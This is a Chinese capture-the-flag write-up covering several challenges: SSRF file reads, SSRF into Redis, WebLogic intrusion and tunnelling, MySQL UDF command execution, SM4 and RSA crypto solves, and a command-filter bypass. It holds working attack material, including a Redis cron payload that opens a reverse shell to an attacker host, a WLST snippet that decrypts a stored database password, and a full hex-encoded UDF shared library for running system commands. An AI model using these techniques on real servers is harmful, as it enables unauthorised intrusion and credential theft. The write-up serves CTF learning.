2024某CTF比赛wp
web快照：文件读取
URL地址栏输入的地址会直接显示，判断为类似文件读取。
直接读根目录：file:///flag拿到flag
web快照：SSRF+Redis
通过文件读取到此页面代码：file:///var/www/html/index.php
查看主机内网ip：file:///etc/hosts找到内网为172.16.200.5
用burp的intruder功能循环发包，Response received中倒序最小的几个值。排除0，1，5判断172.16.200.7为另一个内网主机。
继续利用dict://去探测端口6379报错回显
判断这个主机有Redis服务，先在自己vps上nc -lvvp 端口监听。
burp发包写计划任务反弹shell测试：
dict://172.16.200.7:6379/flushall
dict://172.16.200.7:6379/config set dir /var/spool/cron/
dict://172.16.200.7:6379/config set dbfilename root
dict://172.16.200.7:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/反弹地址/端口 0>%261\n"
dict://172.16.200.7:6379/save
成功反弹shell，cat /flag拿到flag
内网穿透+Mysql UDF命令执行
内网穿透
入口点是一个Weblogic ‘wls-wsat’ XMLDecoder的RCE漏洞，在目标服务器上可以上传fscan进行信息收集。
也可以用ip addr手动查看下ip，得到172.16.100.x，利用for循环去ping此段，发现172.16.100.12有响应。
端口探测到开启了3306访问需要密码。
通过翻阅目录文件找到weblogic配置了和数据库连接，数据库连接密码是加密后的。
可能使用了wlst.sh来加密，直接find / -name wlst.sh找文件在哪。
cd到目录执行wlst.sh脚本
/root/Oracle/Middleware/wlserver_10.3/common/bin/wlst.sh
domain ="/root/Oracle/Middleware/user_projects/domains/base_domain/"
service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
print "password: %s" %encryption.decrypt("{AES}AhArsOkXPBA9AvBwRxNxpK4G0WlHCpNFBZVsu+DDlYU=")
得到数据库密码 通过proxifier和stowaway进行内网穿透，本地连接数据库访问表拿到flag。
UDF命令执行
查看是否能运行show variables like'%plugin%';拿到了目录地址。
执行命令拿到flag
create table foo(line blob);
INSERT INTO foo(line) VALUES (UNHEX('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000'));
select * from foo into dumpfile '/usr/lib64/mysql/plugin/udf.so';
create function sys_eval returns string soname 'udf.so';
select * from mysql.func;
select sys_eval("cat /flag");
由于用数据库读取命令执行只能返回一行信息，如果你想看到更多命令执行后的信息，可以把输出内容变成一行写到文件，再读文件。
select sys_eval("cat /etc/hosts 2>&1 | tr '\n' ' ' > 1.txt");
select sys_eval("cat 1.txt");
之后把stowaway写到/usr/lib64/mysql/plugin/再cp到/tmp/目录下，进行多级内网穿透。
SM4
这题给了源码和输出的内容，我们反向操作，用输出内容去推密钥。
通过阅读源码给出的输出内容是一些md5的值，那就碰撞去匹配吧。
import hashlib
import itertools
import string
# 需要破解的MD5哈希值列表
hashes_to_crack = [
'已知的MD5哈希值',
'已知的MD5哈希值',
'已知的MD5哈希值',
'已知的MD5哈希值',
'已知的MD5哈希值'
]
for x in range(0, 255):
md5_guess = hashlib.md5(bytes(x)).hexdigest()
if md5_guess in hashes_to_crack:
print(f"找到匹配：{x} -> {md5_guess}")
得到密钥，用密文+密钥拿flag
import hashlib
from gmssl.sm4 import CryptSM4, SM4_DECRYPT
import hashlib
if __name__ == "__main__":
k = b'ZdzAk3tbMMowtghk' # 密钥
c = CryptSM4() # 创建 SM4 对象
encrypted_hex = '已知的密文'
encrypted_bytes = bytes.fromhex(encrypted_hex) # 将十六进制字符串转换为字节
c.set_key(k, SM4_DECRYPT) # 设置密钥和解密模式
decrypted_flag = c.crypt_ecb(encrypted_bytes) # 解密
print(f"解密的flag: {decrypted_flag.decode()}")
RSA
RSA题给出了n1，n2，c1，c2，e让拿flag
from Crypto.Util.number import inverse, long_to_bytes
import math
# 给定的参数
n1 = 已知n1
n2 = 已知n2
c1 = 已知c1
c2 = 已知c2
e = 65537
# 计算 gcd
gcd = math.gcd(n1, n2)
# 解密
if gcd > 1:
print(f"GCD: {gcd}")
# 计算 p, q
p1 = gcd
p2 = n1 // gcd
q1 = gcd
q2 = n2 // gcd
# 计算 φ(n)
phi_n1 = (p1 - 1) * (p2 - 1)
phi_n2 = (q1 - 1) * (q2 - 1)
# 计算 d
d1 = inverse(e, phi_n1)
d2 = inverse(e, phi_n2)
# 解密
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
# 将解密后的消息转换为字节
flag = long_to_bytes(m1) + long_to_bytes(m2)
print(f"flag: {flag}")
else:
print("No")
RCE ME
打开网站查看源代码，发现有注释提示网站有备份。利用dirsearch扫出备份文件，读源码得知api接口可以命令执行，但是有过滤。
绕过payload：
/index.php?F=echo%09`tac%09/flag`;
image
查看源是一个文件里面存在2个文件
分离出一个带密码的zip
先看文件头14 00 后面是奇数还是偶数，奇数加密 偶数不加密，证明伪加密
拉到尾部把14 00 后面09改成00
还有好几题，后面有空再继续写吧。